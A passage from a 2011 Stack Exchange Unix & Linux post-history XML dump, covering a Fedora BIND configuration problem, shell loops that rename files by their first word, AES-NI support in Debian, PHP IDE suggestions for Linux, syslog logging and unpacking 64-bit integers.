};&#xD;&#xA;&#xD;&#xA;     };&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     zone &quot;.&quot; IN {&#xD;&#xA;&#xD;&#xA;     type hint;&#xD;&#xA;&#xD;&#xA;     file &quot;named.ca&quot;;&#xD;&#xA;&#xD;&#xA;     };&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     include &quot;/etc/named.rfc1912.zones&quot;;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    zone &quot;ilker.net.&quot; {&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    type master;&#xD;&#xA;&#xD;&#xA;    allow-query{ any; };&#xD;&#xA;&#xD;&#xA;    file &quot;/var/named/ilker.net&quot;;&#xD;&#xA;&#xD;&#xA;     };&#xD;&#xA;&#xD;&#xA;I created the a file called ilker.net in the /var/named folder.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="32492" PostHistoryTypeId="1" PostId="13159" RevisionGUID="d863d301-23b1-4b1b-ba8c-6d3a2b7413cc" CreationDate="2011-05-14T08:52:48.120" UserId="4658" Text="BIND Server problem in Fedora" />
  <row Id="32493" PostHistoryTypeId="3" PostId="13159" RevisionGUID="d863d301-23b1-4b1b-ba8c-6d3a2b7413cc" CreationDate="2011-05-14T08:52:48.120" UserId="4658" Text="éfedoraàédnsà" />
  <row Id="32495" PostHistoryTypeId="2" PostId="13160" RevisionGUID="c742df90-c1c1-4366-bb23-fc286743aff6" CreationDate="2011-05-14T09:14:13.497" UserId="7481" Text="Try this codes for solution maybe you binds rpm packet corrupted or bug problem reasons..&#xD;&#xA;&#xD;&#xA;    [root@server var]# cp /etc/named.conf /root/&#xD;&#xA;&#xD;&#xA;    [root@server var]# cp -apfr /var/named/ /root/&#xD;&#xA;&#xD;&#xA;    [root@server var]# /scripts/ensurerpm bind-*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32496" PostHistoryTypeId="5" PostId="13124" RevisionGUID="9969760a-e388-404a-bddb-711071c73f59" CreationDate="2011-05-14T09:31:22.070" UserId="7167" Comment="typo; deleted 3 characters in body" Text="You miss understood the `-j` option. The number specifies in which row of the screen a search result should be displayed. Your screen does not have 200 rows and because of this `-j200` has no effect. Try `seq 200|less -j5`. After this press `/` `7`. The seven will be in the fifth row. Without `-j5` it will be in the first row." />
  <row Id="32497" PostHistoryTypeId="2" PostId="13161" RevisionGUID="28f281c3-7027-422e-bda8-52d7466179a8" CreationDate="2011-05-14T09:40:47.303" UserId="6988" Text="Try this:&#xD;&#xA;&#xD;&#xA;    for f in *.txt; do d=&quot;$(head -1 &quot;$f&quot; | awk '{print $1}').txt&quot;; if [ ! -f &quot;$d&quot; ]; then mv &quot;$f&quot; &quot;$d&quot;; else echo &quot;File '$d' already exists! Skiped '$f'&quot;; fi; done&#xD;&#xA;&#xD;&#xA;or more long variant (as script):&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    for f in *.txt; do&#xD;&#xA;        d=&quot;$(head -1 &quot;$f&quot; | awk '{print $1}').txt&quot;&#xD;&#xA;        if [ ! -f &quot;$d&quot; ]; then&#xD;&#xA;            mv &quot;$f&quot; &quot;$d&quot;&#xD;&#xA;        else&#xD;&#xA;            echo &quot;File '$d' already exists! Skiped '$f'&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;In case when destination file exists this one-liner skips it." />
  <row Id="32498" PostHistoryTypeId="2" PostId="13162" RevisionGUID="5b292d70-8b45-4fef-a1ef-6dc760b70ca1" CreationDate="2011-05-14T09:41:58.677" UserId="7129" Text="Hi! I consider building a small home-server. I'd like to encrypt some folders on this server, therefore using the instruction set &quot;aes-ni&quot; which is supported by newer (mostly Intel) chips would be advantageous.&#xD;&#xA;&#xD;&#xA;Is there a way to use aes-ni with debian, or is there at least an alternative kernel that supports aes-ni?" />
  <row Id="32499" PostHistoryTypeId="1" PostId="13162" RevisionGUID="5b292d70-8b45-4fef-a1ef-6dc760b70ca1" CreationDate="2011-05-14T09:41:58.677" UserId="7129" Text="use aes-ni in Debian" />
  <row Id="32500" PostHistoryTypeId="3" PostId="13162" RevisionGUID="5b292d70-8b45-4fef-a1ef-6dc760b70ca1" CreationDate="2011-05-14T09:41:58.677" UserId="7129" Text="édebianàéserveràéencryptionà" />
  <row Id="32501" PostHistoryTypeId="2" PostId="13163" RevisionGUID="6cb6013b-386d-4fd8-9116-5225eeddb56d" CreationDate="2011-05-14T09:50:05.543" UserId="7481" Text="If you wanna install internet explorer on fedora OS It's not possible in this way this because this is not use anymore and not working properly much I was try all for install this and I understand it's not working anymore If you wanna install IE on fedora you should try &quot;winetricks&quot; this way will working.&#xD;&#xA;&#xD;&#xA;http://wiki.winehq.org/winetricks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32502" PostHistoryTypeId="2" PostId="13164" RevisionGUID="07c95d24-00a5-43df-b087-74a353e0c8cf" CreationDate="2011-05-14T09:55:59.843" UserId="3997" Text="Here is my approach.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    for file in *; &#xD;&#xA;    do&#xD;&#xA;    	if [[ -f $file ]]; &#xD;&#xA;    	then&#xD;&#xA;    		# cut word by single white space&#xD;&#xA;    		fileword=$(head -n1 &quot;$file&quot; | cut -f1 -d&quot; &quot;);&#xD;&#xA;    		# Everything after first dot is considered as extention&#xD;&#xA;    		ext=$(echo $file | sed 's/.*\.\(.*\)/.\1/g')&#xD;&#xA;    		[ &quot;$file&quot; != &quot;$fileword&quot; ] &amp;&amp; $(mv  &quot;$file&quot;  &quot;$fileword$ext&quot;)&#xD;&#xA;    	fi;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32506" PostHistoryTypeId="5" PostId="13162" RevisionGUID="5a8883da-f888-4d83-b423-639074bc8b0b" CreationDate="2011-05-14T09:57:35.367" UserId="7129" Comment="added 127 characters in body" Text="Hi! I consider building a small home-server. I'd like to encrypt some folders on this server, therefore using the instruction set &quot;aes-ni&quot; which is supported by newer (mostly Intel) chips would be advantageous.&#xD;&#xA;&#xD;&#xA;Is there a way to use aes-ni with debian, or is there at least an alternative kernel that supports aes-ni?&#xD;&#xA;&#xD;&#xA;[edit]  &#xD;&#xA;or is it already supported by default?  &#xD;&#xA;http://kernel.alioth.debian.org/config/2.6.38-2/config_amd64_none_amd64" />
  <row Id="32507" PostHistoryTypeId="12" PostId="13164" RevisionGUID="29109737-0473-4ecf-a05f-e2e988cbaa2e" CreationDate="2011-05-14T09:58:12.977" UserId="3997" Text="[{&quot;Id&quot;:3997,&quot;DisplayName&quot;:&quot;John&quot;}]" />
  <row Id="32508" PostHistoryTypeId="13" PostId="13164" RevisionGUID="f0b196da-c7b8-482f-8471-a1e44e8e80e6" CreationDate="2011-05-14T09:58:43.600" UserId="3997" Text="[{&quot;Id&quot;:3997,&quot;DisplayName&quot;:&quot;John&quot;}]" />
  <row Id="32509" PostHistoryTypeId="2" PostId="13166" RevisionGUID="867e3b7d-5f50-450c-bd8c-f8732719c93b" CreationDate="2011-05-14T09:59:54.250" UserId="3368" Text="This question has popped up in many open forum sites if you do a search term, but i think most of them are either talking about the remote explorer functionality or the design view. &#xD;&#xA;&#xD;&#xA;However this is how I use a glorified text editor(Dreamweaver) in windows and I was wondering if there is such functionality present in Linux. I use the site manager to keep a local copy of my PHP files, and on save they are uploaded to the remote server. It also keeps an eye out for all my changes, which i can commit when i decide im done with my process, Sort of like Eclipse.&#xD;&#xA;&#xD;&#xA;Now there are IDE's/Software's that do one or the other, however none that I found that perform both the tasks easily as one entity. &#xD;&#xA;&#xD;&#xA;The question is, has anyone got comfortable using Linux as a prime PHP development platform to develop for remote servers.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;//whoami" />
  <row Id="32510" PostHistoryTypeId="1" PostId="13166" RevisionGUID="867e3b7d-5f50-450c-bd8c-f8732719c93b" CreationDate="2011-05-14T09:59:54.250" UserId="3368" Text="Dreamweaver OpenSource Equivalent" />
  <row Id="32511" PostHistoryTypeId="3" PostId="13166" RevisionGUID="867e3b7d-5f50-450c-bd8c-f8732719c93b" CreationDate="2011-05-14T09:59:54.250" UserId="3368" Text="éideà" />
  <row Id="32512" PostHistoryTypeId="2" PostId="13167" RevisionGUID="9654acab-6c40-47e5-adfa-1cc5a4917d3c" CreationDate="2011-05-14T10:04:43.337" UserId="7374" Text="It looks like you have wrong/damaged version of bind-lib.&#xD;&#xA;&#xD;&#xA;Run `yum upgrade bind-lib`." />
  <row Id="32513" PostHistoryTypeId="2" PostId="13168" RevisionGUID="98620007-3e2f-425c-9e2e-ea7a07b74e63" CreationDate="2011-05-14T10:18:43.930" UserId="7481" Text="Maybe this can be usefull&#xD;&#xA;&#xD;&#xA;HTML/PHP editors Blue Fish http://bluefish.linuxave.net&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks ..." />
  <row Id="32514" PostHistoryTypeId="5" PostId="13157" RevisionGUID="37f9dc57-2366-4ec2-b7ed-ed4d4f37a39d" CreationDate="2011-05-14T10:40:35.603" UserId="653" Comment="make the question sound like a question, not an exercice" Text="How can I rename all files within a folder with the first word of their content? For example if a.txt contains “Unix is an OS” in its first line then a.txt should be renamed to Unix.txt" />
  <row Id="32515" PostHistoryTypeId="4" PostId="13157" RevisionGUID="37f9dc57-2366-4ec2-b7ed-ed4d4f37a39d" CreationDate="2011-05-14T10:40:35.603" UserId="653" Comment="make the question sound like a question, not an exercice" Text="Renaming multiple files in unix" />
  <row Id="32516" PostHistoryTypeId="6" PostId="13157" RevisionGUID="37f9dc57-2366-4ec2-b7ed-ed4d4f37a39d" CreationDate="2011-05-14T10:40:35.603" UserId="653" Comment="make the question sound like a question, not an exercice" Text="éubuntuàérenameà" />
  <row Id="32517" PostHistoryTypeId="24" PostId="13157" RevisionGUID="37f9dc57-2366-4ec2-b7ed-ed4d4f37a39d" CreationDate="2011-05-14T10:40:35.603" Comment="Proposed by 653 approved by 885 edit id of 370" />
  <row Id="32518" PostHistoryTypeId="5" PostId="13166" RevisionGUID="134d8788-4851-4a21-9ab2-55b6b5efdd9c" CreationDate="2011-05-14T10:44:21.823" UserId="885" Comment="spelling; title; tags" Text="This question has popped up in many open forum sites if you do a search term, but I think most of them are either talking about the remote explorer functionality or the design view. &#xD;&#xA;&#xD;&#xA;However this is how I use a glorified text editor (Dreamweaver) in Windows and I was wondering if there is such functionality present in Linux. I use the site manager to keep a local copy of my PHP files, and on save they are uploaded to the remote server. It also keeps an eye out for all my changes, which i can commit when I decide im done with my process, Sort of like Eclipse.&#xD;&#xA;&#xD;&#xA;Now there are IDEs or other software that do one or the other, however none that I found that perform both the tasks easily as one entity. &#xD;&#xA;&#xD;&#xA;The question is, has anyone got comfortable using Linux as a prime PHP development platform to develop for remote servers.&#xD;&#xA;" />
  <row Id="32519" PostHistoryTypeId="4" PostId="13166" RevisionGUID="134d8788-4851-4a21-9ab2-55b6b5efdd9c" CreationDate="2011-05-14T10:44:21.823" UserId="885" Comment="spelling; title; tags" Text="IDE for website development" />
  <row Id="32520" PostHistoryTypeId="6" PostId="13166" RevisionGUID="134d8788-4851-4a21-9ab2-55b6b5efdd9c" CreationDate="2011-05-14T10:44:21.823" UserId="885" Comment="spelling; title; tags" Text="ésoftwareörecàéideà" />
  <row Id="32521" PostHistoryTypeId="2" PostId="13169" RevisionGUID="d21c2e5b-6b53-4ca2-a101-8fed97c91d46" CreationDate="2011-05-14T10:45:30.933" UserId="6890" Text="Use this *oneliner*&#xD;&#xA;&#xD;&#xA;    for i in `ls`; do if [ ! -f $i ]; then echo &quot;skipping $i&quot;; else newname=`head -1 $i | sed 's/^\s*\([a-zA-Z0-9]\+\).*$/\1/'`; [ -n &quot;$newname&quot; ] &amp;&amp; mv -i $i $newname.txt || echo &quot;error at: $i&quot;; fi; done&#xD;&#xA;&#xD;&#xA;This will replace all files with the first word in that file + `.txt`. I defined *first word* to be the first occurrence of `[a-zA-Z0-9]+`, discarding leading white spaces.  &#xD;&#xA;**Disclaimer:** Please just use it if you are sure that there is a *first word* on line one in each file! Otherwise you might experience unexpected results ;-)" />
  <row Id="32522" PostHistoryTypeId="2" PostId="13170" RevisionGUID="ca0d05c0-8056-41e3-83fc-26469f8096be" CreationDate="2011-05-14T10:49:55.187" UserId="885" Text="I don't think you're looking in the right place. The functionality you're asking about is primarily one that would be provided by [version control](http://en.wikipedia.org/wiki/Revision_control) software. Specifically, use [distributed revision control](http://en.wikipedia.org/wiki/Distributed_revision_control) software, such as [Bazaar](http://en.wikipedia.org/wiki/Bazaar_%28software%29), [Git](http://en.wikipedia.org/wiki/Git_%28software%29) or [Mercurial](http://en.wikipedia.org/wiki/Mercurial_%28software%29). Keep a repository on your local machine and one on your server. When you're satisfied with the changes, commit to your local repository, then push the changes to your server and update the checkout there. (You can script the whole chain, of course.)&#xD;&#xA;&#xD;&#xA;The IDE part is only the icing on the cake: all you'd require from it is a convenient interface to the underlying version control software. Me being me, I'll recommend [Emacs](http://www.emacs.org/).&#xD;&#xA;" />
  <row Id="32523" PostHistoryTypeId="5" PostId="13158" RevisionGUID="2c470528-ea9b-4e27-bb0f-c02f88530b00" CreationDate="2011-05-14T10:51:50.613" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Renaming multiple files in unix](http://unix.stackexchange.com/questions/13157/renaming-multiple-files-in-unix)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Rename all files within a folder with the first word of their content(remember all the files should be text files. For example if a.txt contains “Unix is an OS” in its first line then a.txt should be renamed to Unix.txt" />
  <row Id="32524" PostHistoryTypeId="10" PostId="13158" RevisionGUID="567e6814-e2fc-4a09-b7b2-fd9f1f583fa7" CreationDate="2011-05-14T10:51:50.160" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="32525" PostHistoryTypeId="18" PostId="13158" RevisionGUID="8654a6c6-778c-4e63-91e5-389decdf41f8" CreationDate="2011-05-14T10:52:36.883" UserId="29" Comment="to http://unix.stackexchange.com/questions/13157/renaming-multiple-files-in-unix" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="32526" PostHistoryTypeId="18" PostId="13169" RevisionGUID="8654a6c6-778c-4e63-91e5-389decdf41f8" CreationDate="2011-05-14T10:52:36.883" UserId="29" Comment="from http://unix.stackexchange.com/questions/13158/ranaming-multiple-file-in-unix" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="32527" PostHistoryTypeId="18" PostId="13157" RevisionGUID="8654a6c6-778c-4e63-91e5-389decdf41f8" CreationDate="2011-05-14T10:52:36.883" UserId="29" Comment="from http://unix.stackexchange.com/questions/13158/ranaming-multiple-file-in-unix" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="32528" PostHistoryTypeId="14" PostId="13158" RevisionGUID="f7038861-6f36-442e-b55c-770d602c1e63" CreationDate="2011-05-14T10:52:37.213" UserId="29" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="32529" PostHistoryTypeId="6" PostId="13157" RevisionGUID="7b01dbe9-f6e6-4244-bfe5-5a3df0e6ea37" CreationDate="2011-05-14T10:54:03.917" UserId="29" Comment="fix tags, this has nothing to do with ubuntu" Text="érenameà" />
  <row Id="32530" PostHistoryTypeId="6" PostId="13162" RevisionGUID="804a33a6-2901-4f14-b422-d9a92727ace6" CreationDate="2011-05-14T10:54:26.647" UserId="885" Comment="edited tags" Text="édebianàékernelàéencryptionàéx86à" />
  <row Id="32531" PostHistoryTypeId="2" PostId="13171" RevisionGUID="bc56d5f6-1d76-4447-a07d-371d6fcc06b3" CreationDate="2011-05-14T10:56:32.573" UserId="885" Text="" />
  <row Id="32532" PostHistoryTypeId="2" PostId="13172" RevisionGUID="d6efef91-7483-4d02-ba20-a1be0ec81061" CreationDate="2011-05-14T10:56:32.573" UserId="885" Text="386 and up microprocessors, mostly made by Intel or AMD, also known as IA-32, including the 64-bit x86_64 family also known as amd64" />
  <row Id="32536" PostHistoryTypeId="6" PostId="13155" RevisionGUID="8711745b-5ab0-4809-a2ad-efcd2f12fd8d" CreationDate="2011-05-14T11:05:58.130" UserId="885" Comment="edited tags" Text="éosxàékeyboardàémouseà" />
  <row Id="32537" PostHistoryTypeId="5" PostId="13169" RevisionGUID="f7802f19-1845-4a71-beb1-3a57bda22dd9" CreationDate="2011-05-14T11:06:57.193" UserId="885" Comment="use * to match all files" Text="Use this *oneliner*&#xD;&#xA;&#xD;&#xA;    for i in *; do if [ ! -f $i ]; then echo &quot;skipping $i&quot;; else newname=`head -1 $i | sed 's/^\s*\([a-zA-Z0-9]\+\).*$/\1/'`; [ -n &quot;$newname&quot; ] &amp;&amp; mv -i $i $newname.txt || echo &quot;error at: $i&quot;; fi; done&#xD;&#xA;&#xD;&#xA;This will replace all files with the first word in that file + `.txt`. I defined *first word* to be the first occurrence of `[a-zA-Z0-9]+`, discarding leading white spaces.  &#xD;&#xA;**Disclaimer:** Please just use it if you are sure that there is a *first word* on line one in each file! Otherwise you might experience unexpected results ;-)" />
  <row Id="32538" PostHistoryTypeId="6" PostId="3990" RevisionGUID="5df26219-1feb-489b-a226-3ac5e654f508" CreationDate="2011-05-14T11:11:37.907" UserId="885" Comment="edited tags" Text="écommandölineàéguiàéfileömanagerà" />
  <row Id="32539" PostHistoryTypeId="2" PostId="13173" RevisionGUID="f8c0d006-ce65-4c22-bb18-7a44af3e8500" CreationDate="2011-05-14T11:19:48.893" UserId="885" Text="There's a system log facility: [syslog](http://en.wikipedia.org/wiki/Syslog). From a shell script, call the [`logger`](http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/logger.1.html) command.&#xD;&#xA;&#xD;&#xA;    logger -p 'user.info' &quot;hello world&quot;&#xD;&#xA;&#xD;&#xA;However, this is for *system* logs, not for logs intended for a particular user. If the logs are intended for the user who's running the application, then a log file is more appropriate (something like `~/.application-name/downloads.log`). An alternate approach would be to send a local mail, but that's only for cases where the user must see the logs, not if they're intended for debugging.&#xD;&#xA;&#xD;&#xA;Even if system logs are the right place, a full transcript of HTTP headers is too much information. Log one line in the system logs, and put the transcript in a file in an application-specific directory under `/var`.&#xD;&#xA;" />
  <row Id="32540" PostHistoryTypeId="5" PostId="13162" RevisionGUID="443eb2fd-8e14-4c6e-831c-2ddaf9f322c8" CreationDate="2011-05-14T11:30:25.697" UserId="688" Comment="deleted 1 characters in body; edited title" Text="I am considering building a small home server. I'd like to encrypt some folders on this server, therefore using the instruction set **aes-ni** which is supported by newer (mostly Intel) chips would be advantageous.&#xD;&#xA;&#xD;&#xA;Is there a way to use **aes-ni** with Debian, or is there at least an alternative kernel that supports it?&#xD;&#xA;&#xD;&#xA;[edit] Or is it already supported by default: http://kernel.alioth.debian.org/config/2.6.38-2/config_amd64_none_amd64?" />
  <row Id="32541" PostHistoryTypeId="4" PostId="13162" RevisionGUID="443eb2fd-8e14-4c6e-831c-2ddaf9f322c8" CreationDate="2011-05-14T11:30:25.697" UserId="688" Comment="deleted 1 characters in body; edited title" Text="Use aes-ni in Debian" />
  <row Id="32542" PostHistoryTypeId="5" PostId="13141" RevisionGUID="61b83a93-72ab-46b0-836e-f83427742e42" CreationDate="2011-05-14T11:35:13.883" UserId="885" Comment="answer revised question" Text="Bash is the wrong tool altogether. Shells are good at gluing bits and pieces together; text processing and arithmetic are provided on the side, and data processing isn't in their purview at all.&#xD;&#xA;&#xD;&#xA;I'd go for Python over Perl, because Python has bignums right off the bat. Use [`struct.unpack`](http://docs.python.org/library/struct.html) to unpack the data.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    import os, struct, sys&#xD;&#xA;    fmt = &quot;&lt;&quot; + &quot;Q&quot; * 8192&#xD;&#xA;    header_bytes = sys.stdin.read(65536)&#xD;&#xA;    header_ints = list(struct.unpack(fmt, header_bytes))&#xD;&#xA;    sys.stdin.seek(-65536, 2)&#xD;&#xA;    footer_bytes = sys.stdin.read(65536)&#xD;&#xA;    footer_ints = list(struct.unpack(fmt, header_bytes))&#xD;&#xA;    # your calculations here&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;*Here's my answer to the original question. The revised question doesn't have much to do with the original, which was about converting one 8-byte sequence into the 64-bit integer it represents in little-endian order.*&#xD;&#xA;&#xD;&#xA;I don't think bash has any built-in feature for this. The following snippet sets `a` to a string that is the hexadecimal representation of the number that corresponds to the bytes in the specified string in *big endian* order.&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;$string&quot; |&#xD;&#xA;          od -t x1 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;For little-endian order, reverse the order of the bytes in the original string. In bash, and for a string of known length, you can do&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;${string:7:1}${string:6:1}${string:5:1}${string:4:1}${string:3:1}${string:2:1}${string:1:1}${string:0:1}&quot; |&#xD;&#xA;          od -t x1 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;You can also get your platform's prefered endianness if your `od` supports 8-byte types.&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;$string&quot; |&#xD;&#xA;          od -t x8 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;Whether you can do arithmetic on `$a` will depend on whether your bash supports 8-byte arithmetic. Even if it does, it'll treat it as a signed value.&#xD;&#xA;&#xD;&#xA;Alternatively, use Perl:&#xD;&#xA;&#xD;&#xA;    a=0x$(perl -e 'print unpack &quot;Q&lt;&quot;, $ARGV[0]' &quot;$string&quot;)&#xD;&#xA;&#xD;&#xA;If your perl is compiled without 64-bit integer support, you'll need to break the bytes up.&#xD;&#xA;&#xD;&#xA;    a=0x$(perl -e 'printf &quot;%x%08x\n&quot;, reverse unpack &quot;L&lt;L&lt;&quot;, $ARGV[0]' &quot;$string&quot;)&#xD;&#xA;&#xD;&#xA;(Replace `&lt;` by `&gt;` for big-endian or remove it to get the platform endianness.)&#xD;&#xA;" />
  <row Id="32543" PostHistoryTypeId="25" PostId="13166" RevisionGUID="5fe3683a-d24c-4809-81da-b542212ae8c3" CreationDate="2011-05-14T12:12:07.843" Comment="http://twitter.com/#!/StackUnix/status/69374430085791744" />
  <row Id="32544" PostHistoryTypeId="2" PostId="13174" RevisionGUID="3b542784-c6df-439c-ae28-5b006e416159" CreationDate="2011-05-14T13:40:45.717" UserId="7484" Text="&lt;a href=&quot;http://www.geany.org/&quot;&gt;Geany&lt;/a&gt; has an SVN plugin. I've been happy with it for HTML and PHP editing, as well as some limited Groovy/Grails work." />
  <row Id="32545" PostHistoryTypeId="17" PostId="13176" RevisionGUID="5da5b7f7-3505-4683-be72-711fdad0a5d0" CreationDate="2011-05-14T14:19:55.067" UserId="-1" Comment="from http://stackoverflow.com/questions/6002280/is-there-any-chance-to-run-clearcase-remote-client-under-fedora-14/6002369#6002369" Text="" />
  <row Id="32546" PostHistoryTypeId="2" PostId="13176" RevisionGUID="e5f40fa1-5ef5-4b55-b1b6-d6e59cb0d907" CreationDate="2011-05-14T14:15:04.977" UserDisplayName="VonC" Text="According to the [System Requirement for CCRC][1], Fedora is indeed not supported. &#xD;&#xA;&#xD;&#xA;But a CCRC client is an RCP-based application, or an **Eclipse plugin**.&#xD;&#xA;&#xD;&#xA;So if you can make an Eclipse3.6.2 runs in your Fedora setup, chances are you will be able to get the plugin from the CCRC server and make CCRC works that way.&#xD;&#xA;&#xD;&#xA;Note: make sure you have the same (or compatible) version between your [CCRC client and CM server][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://System%20Requirements%20for%20the%20ClearCase%20Remote%20Client&#xD;&#xA;  [2]: https://www-304.ibm.com/support/docview.wss?mynp=OCSSSH27&amp;mync=E&amp;uid=swg21450012&amp;myns=swgrat" />
  <row Id="32547" PostHistoryTypeId="2" PostId="13175" RevisionGUID="c53085b6-19c6-4bb6-8bf4-b0a847f88a91" CreationDate="2011-05-14T13:58:16.787" UserDisplayName="Stas" Text="I'm using Fedora 14 as main dev-env PC and spent time of trying to setup CCRC 7.1 to my desktop. The problem is - while installation when I presses install button - nothing happens. No error message and no actions. As I understood Fedora isn't supported by IBM, is ther any workaround?" />
  <row Id="32548" PostHistoryTypeId="1" PostId="13175" RevisionGUID="c53085b6-19c6-4bb6-8bf4-b0a847f88a91" CreationDate="2011-05-14T13:58:16.787" UserDisplayName="Stas" Text="Is there any chance to run ClearCase Remote client under Fedora 14?" />
  <row Id="32549" PostHistoryTypeId="3" PostId="13175" RevisionGUID="c53085b6-19c6-4bb6-8bf4-b0a847f88a91" CreationDate="2011-05-14T13:58:16.787" UserDisplayName="Stas" Text="élinuxà" />
  <row Id="32550" PostHistoryTypeId="17" PostId="13175" RevisionGUID="38904204-133f-454a-b4aa-e7e45d37c806" CreationDate="2011-05-14T14:19:55.067" UserId="-1" Comment="from http://stackoverflow.com/questions/6002280/is-there-any-chance-to-run-clearcase-remote-client-under-fedora-14" Text="" />
  <row Id="32551" PostHistoryTypeId="2" PostId="13177" RevisionGUID="54c70b84-c2b2-4f86-84db-72fb511c1799" CreationDate="2011-05-14T14:57:04.403" UserId="7486" Text="I really like Aptana Studio 3, which is an IDE built on Eclipse&#xD;&#xA;&#xD;&#xA;Try it out, it's nice&#xD;&#xA;&#xD;&#xA;It has a GIT-plugin which is the standard, probably you can also find a plugin for other revision control systems" />
  <row Id="32552" PostHistoryTypeId="2" PostId="13178" RevisionGUID="bfd364ce-22a2-4eeb-89b3-873e190fb971" CreationDate="2011-05-14T15:10:53.037" UserId="7487" Text="I would recommend you to use [Quanta Plus][1]. It has been a great web design tool for for me since years.&#xD;&#xA;&#xD;&#xA;Whenever I do a change to my local code, then Quanta detects the files that have been edited and lets you put only those files to the server via ftp. And if you add a new file to the project directory you can scan the project for new files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://quanta.kdewebdev.org/" />
  <row Id="32553" PostHistoryTypeId="25" PostId="13175" RevisionGUID="dbbeacb0-a101-4415-95d1-684eb1ea2efd" CreationDate="2011-05-14T15:12:09.090" Comment="http://twitter.com/#!/StackUnix/status/69419733467938818" />
  <row Id="32554" PostHistoryTypeId="5" PostId="13178" RevisionGUID="72757dbd-6890-4369-a15e-980576b1e224" CreationDate="2011-05-14T15:21:48.187" UserId="7487" Comment="added 12 characters in body" Text="I would recommend you to use [Quanta Plus][1]. It has been a great web design tool for for me since years.&#xD;&#xA;&#xD;&#xA;Whenever I do a change to my local code, then Quanta detects the files that have been edited and lets you put only those files to the server via ftp. And if you add a new file to the project directory you can scan the project for new files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Quanta_Plus" />
  <row Id="32555" PostHistoryTypeId="2" PostId="13179" RevisionGUID="37074b72-fffd-460c-932e-2a35afe3b321" CreationDate="2011-05-14T15:33:57.047" UserId="4671" Text="It does look like it is configured in the config you listed (as `CONFIG_CRYPTO_AES_NI_INTEL=m`, which means configured as a module), but regardless, it is easy to build your own custom Debian kernels. See the [Debian Kernel Handbook](http://packages.debian.org/unstable/main/debian-kernel-handbook). You want 1.10, the [version online](http://kernel-handbook.alioth.debian.org/) is 1.09 which is out of date. The only downside of compiling a custom kernel is that you need to rebuild whenever there are security updates (and keep track of the security updates). The stock kernel updates arrive automatically via the package management system. " />
  <row Id="32556" PostHistoryTypeId="5" PostId="13179" RevisionGUID="d9189858-8abb-4ae1-bddf-c87ea85f9e42" CreationDate="2011-05-14T16:12:07.697" UserId="4671" Comment="Mention kernel-package" Text="It does look like it is configured in the config you listed (as `CONFIG_CRYPTO_AES_NI_INTEL=m`, which means configured as a module), but regardless, it is easy to build your own custom Debian kernels. See the [Debian Kernel Handbook](http://packages.debian.org/unstable/main/debian-kernel-handbook). You want 1.10, the [version online](http://kernel-handbook.alioth.debian.org/) is 1.09 which is out of date. The only downside of compiling a custom kernel is that you need to rebuild whenever there are security updates (and keep track of the security updates). The stock kernel updates arrive automatically via the package management system.&#xD;&#xA;&#xD;&#xA;Manoj Srivastava's [kernel-package](http://packages.qa.debian.org/k/kernel-package.html) is also used for this, but the Debian Kernel team use the procedures outlined above in the handbook to build the stock kernels, for example, so I think it is a better way to go." />
  <row Id="32557" PostHistoryTypeId="5" PostId="13136" RevisionGUID="f4660500-37af-457d-919e-810248dfe867" CreationDate="2011-05-14T16:55:07.103" UserId="4671" Comment="drastic rewording of question" Text="I want to know how to display the server time inside the Vim editor, if possible.&#xD;&#xA;" />
  <row Id="32558" PostHistoryTypeId="4" PostId="13136" RevisionGUID="f4660500-37af-457d-919e-810248dfe867" CreationDate="2011-05-14T16:55:07.103" UserId="4671" Comment="drastic rewording of question" Text="How to display the server time inside Vim" />
  <row Id="32559" PostHistoryTypeId="24" PostId="13136" RevisionGUID="f4660500-37af-457d-919e-810248dfe867" CreationDate="2011-05-14T16:55:07.103" Comment="Proposed by 4671 approved by 885 edit id of 371" />
